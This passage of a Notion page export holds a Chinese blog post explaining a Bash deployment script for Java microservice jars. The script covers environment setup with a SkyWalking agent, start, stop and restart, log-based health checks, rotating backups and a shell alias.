2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","blockMap":{"block":{"38e3f997-dad9-46b8-99bb-d3042488821f":{"value":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","version":916,"type":"page","content":["30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","c4f68ef2-bdba-42b2-829c-2443f5de269d","de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","6dc7d247-2acb-4e17-979f-2751e11a4866","ec124e1d-f212-4b30-b019-6c0b3819fb0e","8513dc44-acdd-416c-9797-5a429313055a","b1f5373e-66e3-4e3b-8df6-0436ece58f30","8d59e1ac-758e-4ac1-802f-77a2dc4a345a","316c39c8-874f-4c26-8b20-c27d7df00e22","8e2a4be9-ddd0-43c8-90a1-73e5966dc430","a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","e50a06de-71d5-42a5-84f9-72dba14b6249","3f65869a-70fa-433e-bfde-8dbdca631b9f","d4c687c2-c904-4234-92df-bf86f503e4a8","1c461f9f-ebc0-408d-bd62-cd2d593df5ff","263f23a4-ae61-4c82-b821-dccdf0fa6e4c","16904fbf-692f-4688-bdc6-d6da5063475e","547f54ed-1238-4e1e-89ef-996809620f35","77b75914-f02a-4393-bd36-453671da3504","f4992d9c-05d3-458f-8626-7f69df901053","6d929a34-3041-4f19-acdb-c1db601c49dc","f5002c9f-3330-4c74-91e4-2bd2be6cc9df","714774d8-cd7a-426f-97f5-f1a0a1019e8b","d23b738a-4977-45dd-9e87-4ac4299f8a2c","dd5cbc1b-7940-4623-b4e1-372257a167fd","015bbc44-0520-411b-8c93-e8828b0241e4","8d850969-c7f1-4278-9189-7b8a880d6922","85c59e46-5afc-44f7-8d92-24dfdb79e418","6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","2c676e25-8325-4e28-a93c-2a14c18c16f9","aa4dcc52-95a6-47a4-88e5-b4275689bcda","7b911799-39b3-4e6e-8aa4-a18618a47f88","dae3dcc6-9abb-45e7-8cd0-96e67fb23514","d044fa90-43bf-464b-b804-b1952f91548b","f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","12211a14-1feb-449b-beab-abea67e70635","4fa90686-3a74-46ec-a088-962d442891e0","af722408-abb3-480e-9546-752a8866c509","0cdbdf1b-35ba-4404-9235-3d8625c1eac0","23f697fb-ec30-4920-becf-b2569bb235d0","8566becf-9f13-4e17-800f-8c73a9d69d10","6fc3b1c1-279c-4da3-9b48-a286c69a4620","ebb9c14c-4573-4673-9f41-923621db6503","5f09bd20-4152-4fbf-9234-6358f7ca9002","1af18956-4491-4646-8812-8c26899d094c","39cf1bf0-7c68-42aa-8ada-11e74af9da6e","3b508db8-425b-4c77-83d0-9eba50c4ef24","dffd5b0d-8df5-4399-96a3-63793dbd16d0","70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1706076384676,"last_edited_time":1706080726139,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c":{"value":{"id":"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"c4f68ef2-bdba-42b2-829c-2443f5de269d":{"value":{"id":"c4f68ef2-bdba-42b2-829c-2443f5de269d","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7":{"value":{"id":"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","type":"callout","properties":{"title":[["微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。\n固定流程:deploy bakup xx.jar —\u003e deploy restart xx.jar"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706078783448,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6dc7d247-2acb-4e17-979f-2751e11a4866":{"value":{"id":"6dc7d247-2acb-4e17-979f-2751e11a4866","type":"header","properties":{"title":[["命令编写步骤"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706078594772,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ec124e1d-f212-4b30-b019-6c0b3819fb0e":{"value":{"id":"ec124e1d-f212-4b30-b019-6c0b3819fb0e","type":"quote","properties":{"title":[["我会把每一步编写的用途都罗列出来,不想看的可以直接滑到最后复制整个脚本"]]},"created_time":1706078795259,"last_edited_time":1706078854774,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8513dc44-acdd-416c-9797-5a429313055a":{"value":{"id":"8513dc44-acdd-416c-9797-5a429313055a","type":"sub_header","properties":{"title":[["配置环境变量"]]},"created_time":1706078561683,"last_edited_time":1706078585444,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"b1f5373e-66e3-4e3b-8df6-0436ece58f30":{"value":{"id":"b1f5373e-66e3-4e3b-8df6-0436ece58f30","type":"quote","properties":{"title":[["这里配置基础的java运行环境变量,包括可以把JVM运行参数也放在这里,到我项目里面的JVM参数是变动的,下面会提到。并且声明脚本要用到变量。"]]},"created_time":1706078608572,"last_edited_time":1706079009574,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d59e1ac-758e-4ac1-802f-77a2dc4a345a":{"value":{"id":"8d59e1ac-758e-4ac1-802f-77a2dc4a345a","type":"code","properties":{"title":[["#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=()               #定义全局的PIDS数组\nWORK_DIR=(            #当前程序的工作目录\n          /Users/y/IdeaProjects/A-script/sh\n          /home/bothsvage\n          /root/prod\n          )\nCHECK_LOGS=(          #日志检查关键字\n  \"开始订阅滚动日志\"\n  \"服务启动成功\"\n  \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0       # 脚本名称\nACTION=$1            # 脚本接受的第一个参数\nshift                # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\"             # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078585992,"last_edited_time":1706079497825,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"316c39c8-874f-4c26-8b20-c27d7df00e22":{"value":{"id":"316c39c8-874f-4c26-8b20-c27d7df00e22","type":"sub_header","properties":{"title":[["主程序"]]},"created_time":1706078558353,"last_edited_time":1706078727210,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8e2a4be9-ddd0-43c8-90a1-73e5966dc430":{"value":{"id":"8e2a4be9-ddd0-43c8-90a1-73e5966dc430","type":"quote","properties":{"title":[["首先定义程序入口,运行welcome欢迎函数,并且运行检查当前工作目录函数,因为这个脚本会在配置到环境变量,防止程序运行报错。"]]},"created_time":1706078746157,"last_edited_time":1706079461207,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77":{"value":{"id":"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","type":"code","properties":{"title":[["\n\n#启动函数包装\nstart() {\n  start_service $jar -q\n  health_check $jar\n  list_service $jar\n}\n#停止函数包装\nstop() {\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      stop_service $pid\n    fi\n  done\n}\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n  check_input $jar\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      echo \"存在应用在运行:请使用restart命令\"\n      end\n      exit 0\n    fi\n  done\n  start\n  ;;\nstop)\n  check_input $jar\n  stop\n  ;;\nrestart)\n  check_input $jar\n  stop\n  start\n  ;;\nlist)\n  check_input $jar\n  list_service $jar\n  ;;\nbackup)\n  check_input $jar\n  backup $jar\n  ;;\n*)\n  usage\n  ;;\nesac\n\nend"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078728197,"last_edited_time":1706079475022,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"e50a06de-71d5-42a5-84f9-72dba14b6249":{"value":{"id":"e50a06de-71d5-42a5-84f9-72dba14b6249","type":"sub_header","properties":{"title":[["辅助函数"]]},"created_time":1706078558353,"last_edited_time":1706079189949,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3f65869a-70fa-433e-bfde-8dbdca631b9f":{"value":{"id":"3f65869a-70fa-433e-bfde-8dbdca631b9f","type":"quote","properties":{"title":[["提示函数,检查输入参数,welcome,check_directory等,都比较简单"]]},"created_time":1706079190557,"last_edited_time":1706079231631,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d4c687c2-c904-4234-92df-bf86f503e4a8":{"value":{"id":"d4c687c2-c904-4234-92df-bf86f503e4a8","type":"code","properties":{"title":[["#使用说明\nusage() {\n  echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n  end\n  exit 2\n}\n# 检查输入参数\ncheck_input() {\n    jar=$1\n\n    # list 操作接受 *.jar 作为参数\n    if [[ $ACTION == \"list\" \u0026\u0026 $jar == *.jar ]]; then\n        return 0\n    fi\n\n    # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n    if [[ $ACTION != \"list\" \u0026\u0026 ($jar != *.jar || ! -f $jar) ]]; then\n        echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n        end\n        exit 0\n    fi\n}\n#欢迎脚本答应\nwelcome(){\n  echo '''\n---------------------------脚本正在启动-------------------------------\n\n        ████████   ██████   ███   ███  ███   ███  ██\n\n  '''\n  echo \"                   当前脚本环境:$ENV\n\n  \"\n}\n#结束脚本打印\nend(){\n  echo '''\n----------------------------脚本已经完成-------------------------------\n  '''\n}\n#检查当前脚本运行目录\ncheck_directory() {\n  # 获取脚本的运行目录\n  script_dir=$(pwd \"$0\")\n  echo \"此脚本工作目录:$script_dir\"\n\n  # 标识,初始为 false\n  valid_dir=false\n\n  # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n  for dir in \"${WORK_DIR[@]}\"; do\n    if [[ $script_dir == $dir* ]]; then\n      valid_dir=true\n      break\n    fi\n  done\n\n  # 如果标识仍为 false,打印一条消息并退出脚本\n  if ! $valid_dir; then\n    echo \"不满足以下目录:${WORK_DIR[*]}. \"\n    end\n    exit 0\n  fi\n}"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079064487,"last_edited_time":1706079147252,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"1c461f9f-ebc0-408d-bd62-cd2d593df5ff":{"value":{"id":"1c461f9f-ebc0-408d-bd62-cd2d593df5ff","type":"sub_header","properties":{"title":[["动态设置JVM参数"]]},"created_time":1706078558353,"last_edited_time":1706079178393,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"263f23a4-ae61-4c82-b821-dccdf0fa6e4c":{"value":{"id":"263f23a4-ae61-4c82-b821-dccdf0fa6e4c","type":"quote","properties":{"title":[["根据env环境变量和jar包的名称动态设置JVM的堆内存"]]},"created_time":1706079238216,"last_edited_time":1706079271554,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"16904fbf-692f-4688-bdc6-d6da5063475e":{"value":{"id":"16904fbf-692f-4688-bdc6-d6da5063475e","type":"code","properties":{"title":[["# 设置 JVM_OPTS\nset_jvm_opts() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    #生产环境\n    if [[ $ENV == \"prod\" ]]; then\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n      else\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      fi\n    #非生产环境\n    else\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      else\n          export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n      fi\n    fi\n\n}"]],"language":[["Bash"]]},"created_time":1706079184196,"last_edited_time":1706079184490,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"547f54ed-1238-4e1e-89ef-996809620f35":{"value":{"id":"547f54ed-1238-4e1e-89ef-996809620f35","type":"sub_header","properties":{"title":[["根据jar包获取正在运行的pid列表"]]},"created_time":1706078558353,"last_edited_time":1706079306876,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"77b75914-f02a-4393-bd36-453671da3504":{"value":{"id":"77b75914-f02a-4393-bd36-453671da3504","type":"quote","properties":{"title":[["就是ps aux | grep 服务名来获取的正在运行的pid,然后通过awk来输出具体的某个pid"]]},"created_time":1706079519891,"last_edited_time":1706079586592,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4992d9c-05d3-458f-8626-7f69df901053":{"value":{"id":"f4992d9c-05d3-458f-8626-7f69df901053","type":"code","properties":{"title":[["#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto \nlist_service() {\n  echo \"获取程序运行中:$jar\"\n  # 使用ps和grep获取包含jar包名的进程\n  local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i\u003c=NF; i++) printf $i \" \"; print \"\"}')\n\n  # 逐行读取lines变量的值\n  while IFS= read -r line; do\n    # 使用空格将行切割为数组\n    array=($line)\n\n    # 第一个元素是PID\n    pid=${array[0]}\n\n    # 剩下的元素是命令行参数\n    cmdline=${line#\"$pid \"}  # 使用参数扩展移除PID\n    cmdline_cut=$(echo $cmdline | cut -c 1-150)  # 保留前50个字符\n\n   # 只在找到进程时打印信息\n    if [ ! -z \"$pid\" ]; then\n      printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\"  # 格式化输出\n      PIDS+=(\"$pid\")\n    fi\n  done \u003c\u003c\u003c \"$lines\"\n\n  # 如果没有找到任何服务,打印提示信息\n  if [ -z \"$lines\" ]; then\n    echo \"没有进程包含有:$1\"\n  fi\n}\n"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079292351,"last_edited_time":1706079503420,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6d929a34-3041-4f19-acdb-c1db601c49dc":{"value":{"id":"6d929a34-3041-4f19-acdb-c1db601c49dc","type":"sub_header","properties":{"title":[["停止服务"]]},"created_time":1706078558353,"last_edited_time":1706079332768,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f5002c9f-3330-4c74-91e4-2bd2be6cc9df":{"value":{"id":"f5002c9f-3330-4c74-91e4-2bd2be6cc9df","type":"quote","properties":{"title":[["使用kill -15来杀程序,如果超过60s,就直接kill -9"]]},"created_time":1706079599759,"last_edited_time":1706079675701,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"714774d8-cd7a-426f-97f5-f1a0a1019e8b":{"value":{"id":"714774d8-cd7a-426f-97f5-f1a0a1019e8b","type":"code","properties":{"title":[["#停止服务\nstop_service() {\n  local pid=$1\n  echo \"开始停止程序中: $pid\"\n  kill -15 \"$pid\"\n\n  # 等待程序结束\n  for i in $(seq 60); do\n    # 检查进程是否还在运行\n    if ! ps -p \"$pid\" \u003e /dev/null; then\n      echo \"停止程序已完成:$pid\"\n      return 0\n    fi\n    # 等待一秒\n    sleep 1\n  done\n\n  # 如果程序还在运行,发送 SIGKILL\n  echo \"程序仍在运行,发送 SIGKILL\"\n  kill -9 \"$pid\"\n}\n"]],"language":[["Bash"]]},"created_time":1706079340376,"last_edited_time":1706079353272,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d23b738a-4977-45dd-9e87-4ac4299f8a2c":{"value":{"id":"d23b738a-4977-45dd-9e87-4ac4299f8a2c","type":"sub_header","properties":{"title":[["启动服务"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079425809,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"dd5cbc1b-7940-4623-b4e1-372257a167fd":{"value":{"id":"dd5cbc1b-7940-4623-b4e1-372257a167fd","type":"quote","properties":{"title":[["这里无非就是组装最终运行的部署语句"]]},"created_time":1706079679340,"last_edited_time":1706079706468,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"015bbc44-0520-411b-8c93-e8828b0241e4":{"value":{"id":"015bbc44-0520-411b-8c93-e8828b0241e4","type":"code","properties":{"title":[["#启动服务\nstart_service(){\n  set_jvm_opts $jar\n  filename=$(basename -- \"$jar\")\n  export SW_AGENT_NAME=\"${filename%.*}\"\n  output=\"/dev/null\"\n  nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\n  echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\"\n  # 检查是否有 -q 参数\n  if [ \"$2\" == \"-q\" ]\n  then\n      echo \"部署语句已执行:$jar\"\n  else\n      tail -f $output\n  fi\n}\n"]],"language":[["Bash"]]},"created_time":1706079370651,"last_edited_time":1706079429534,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d850969-c7f1-4278-9189-7b8a880d6922":{"value":{"id":"8d850969-c7f1-4278-9189-7b8a880d6922","type":"sub_header","properties":{"title":[["启动完成检查"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079391937,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"85c59e46-5afc-44f7-8d92-24dfdb79e418":{"value":{"id":"85c59e46-5afc-44f7-8d92-24dfdb79e418","type":"quote","properties":{"title":[["由于我的java项目一般会把info级别的日志文件放在同级目录,通过检测关键字来实现启动完成监控"]]},"created_time":1706079710439,"last_edited_time":1706079779024,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936":{"value":{"id":"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","type":"code","properties":{"title":[["#健康检查\nhealth_check() {\n  exptime=0\n\n  while true; do\n    for log in \"${CHECK_LOGS[@]}\"; do\n      if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n        echo -e \"\\n服务已成功启动: $jar\"\n        return 0\n      fi\n    done\n    if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n      echo -e \"\\n服务启动检查超时,请手动检查\"\n      break\n    else\n      echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n    fi\n\n    sleep 1\n    ((exptime++))\n  done\n}\n"]],"language":[["Bash"]]},"created_time":1706079393878,"last_edited_time":1706079401922,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"2c676e25-8325-4e28-a93c-2a14c18c16f9":{"value":{"id":"2c676e25-8325-4e28-a93c-2a14c18c16f9","type":"sub_header","properties":{"title":[["备份"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079408241,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"aa4dcc52-95a6-47a4-88e5-b4275689bcda":{"value":{"id":"aa4dcc52-95a6-47a4-88e5-b4275689bcda","type":"quote","properties":{"title":[["自动备份到指定目录,并且做到限制备份数目,自动清除等效果"]]},"created_time":1706079786312,"last_edited_time":1706079833479,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"7b911799-39b3-4e6e-8aa4-a18618a47f88":{"value":{"id":"7b911799-39b3-4e6e-8aa4-a18618a47f88","type":"code","properties":{"title":[["#备份\nbackup() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    backup_dir=\"./backup/${filename%.*}\"\n    # 确保备份目录存在\n    mkdir -p $backup_dir\n\n    # 备份 .jar 文件,并添加时间戳\n    timestamp=$(date \"+%Y%m%d%H%M%S\")\n    path=$backup_dir/$(basename $jar).$timestamp\n    mv $jar $path\n\n    # 检查备份目录中的文件数量\n    file_count=$(ls -t $backup_dir | wc -l)\n    echo \"当前备份目录为:$backup_dir\"\n    echo \"当前备份数目为:$file_count\"\n    echo \"当前备份文件为:$path\"\n    if [ $file_count -gt 5 ]; then\n        cd $backup_dir\n        # 删除最旧的文件\n        rm -f \"$(ls -t | tail -1)\"\n        cd -\n    fi\n}"]],"language":[["Bash"]]},"created_time":1706079411099,"last_edited_time":1706079842806,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"dae3dcc6-9abb-45e7-8cd0-96e67fb23514":{"value":{"id":"dae3dcc6-9abb-45e7-8cd0-96e67fb23514","type":"header","properties":{"title":[["环境变量配置"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706079947292,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"d044fa90-43bf-464b-b804-b1952f91548b":{"value":{"id":"d044fa90-43bf-464b-b804-b1952f91548b","type":"sub_header","properties":{"title":[["配置~/.bash_profile"]]},"created_time":1706079947440,"last_edited_time":1706079996698,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da":{"value":{"id":"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","type":"code","properties":{"title":[["#加上这一句\nalias deploy='/xxxx/deploy.sh'\n\n#然后保存.bash_profile并退出,再source一下\nsource 